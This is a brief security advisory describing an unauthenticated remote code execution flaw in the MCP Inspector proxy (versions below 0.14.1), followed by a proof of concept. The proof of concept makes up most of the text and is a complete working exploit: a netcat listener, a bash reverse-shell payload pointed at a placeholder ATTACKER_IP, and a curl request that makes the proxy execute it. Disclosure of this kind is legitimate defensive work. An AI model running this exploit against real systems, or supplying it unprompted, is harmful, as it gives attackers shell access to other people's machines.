Anthropic MCP Inspector Remote Code Execution

Anthropic ModelContextProtocol (MCP) Inspector versions below 0.14.1 suffer from a lack of authentication and network restrictions on the MCP Inspector proxy used by the Web UI to interact with local or remote MCP servers. 

A remote and unauthenticated attacker can send crafted requests to the proxy server and achieve remote code execution on the target system running the MCP Inspector proxy. 

Proof-Of-Concept

The following code snippet demonstrates how the vulnerability could be exploited:

# Start a listener on TCP/7777
nc -l -p 7777

# Build a payload which will establish a simple reverse shell to our local IP on the previous port
PAYLOAD_BASH=“bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/7777 0>&1’”

# URI encode the payload
ENCODED_PAYLOAD_BASH=$(echo -n “$PAYLOAD_BASH” | jq -sRr @uri)

# Request the MCP Inspector Proxy with the previous payload to achieve Remote Code Execution
curl “http://MCP_INSPECTOR_PROXY:3000/sse?transportType=stdio&command=bash&args=-c%20%22$ENCODED_PAYLOAD_BASH%22”